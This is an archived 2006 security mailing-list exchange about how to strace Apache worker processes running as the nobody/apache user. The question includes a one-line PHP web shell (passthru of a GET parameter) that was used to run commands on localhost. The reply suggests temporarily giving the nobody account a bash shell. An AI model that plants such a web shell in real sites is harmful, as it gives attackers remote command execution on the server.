RE: Howto strace apache as nobody/apache user?

From: Shane Warner (shane@aplv.com)
Date: Wed May 31 2006 - 15:55:33 EDT


One simple way would be to temporarily change the "nobody" user's shell to
/bin/bash from /bin/false or whatever you have it set to.

Something like usermod nobody -s /bin/bash would do the trick. Then su
nobody and run your strace from bash.

Just make absolutely sure to change it back to /bin/false when you are
finished.

Shane Warner
Director of IT
Answer Plus Inc
1840 East Sahara Suite 205
Las Vegas NV
http://www.aplv.com
(702) 388-7377

-----Original Message-----
From: Rizki Wicaksono [mailto:rizki.wicaksono@gmail.com]
Sent: Tuesday, May 30, 2006 9:23 PM
To: pen-test@securityfocus.com
Subject: Howto strace apache as nobody/apache user?

Hi List,

Does anyone know how to strace/ktrace-ing apache httpd server as
nobody/apache user ? Apache initially starting as root then it forks
into many process after leaving its root credentials, usually being
apache or nobody (depends on httpd.conf). So, by theory if I could be
apache/nobody user, I will be able to strace/ktrace-ing any process
that owned by apache/nobody user.

So i put small cmd.php shell to do that. With this simple code:
<pre><? passthru($_GET['cmd']); ?></pre>

Using my browser pointing to http://localhost/cmd.php?cmd=id, confirm
that it has apache credentials. After reading the output of ps aux
(http://localhost/cmd.php?cmd=ps aux), i chose one process id of httpd
owned by apache to test. When I try using URL
http://localhost/cmd.php?cmd=strace -p apache_pid 2>/tmp/err, I got
operation not permitted error. The same happen to freebsd box using
ktrace command.

Is this a security feature of apache or what?

Thanks before
- Rizki Wicaksono -

----------------------------------------------------------------------------

--
This List Sponsored by: Cenzic
Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to
rise, 
you need to proactively protect your applications from hackers. Cenzic has
the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request@cenzic.com for details.
----------------------------------------------------------------------------
--
!DSPAM:447df36818971804284693!
------------------------------------------------------------------------------
This List Sponsored by: Cenzic
Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------


This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:01 EDT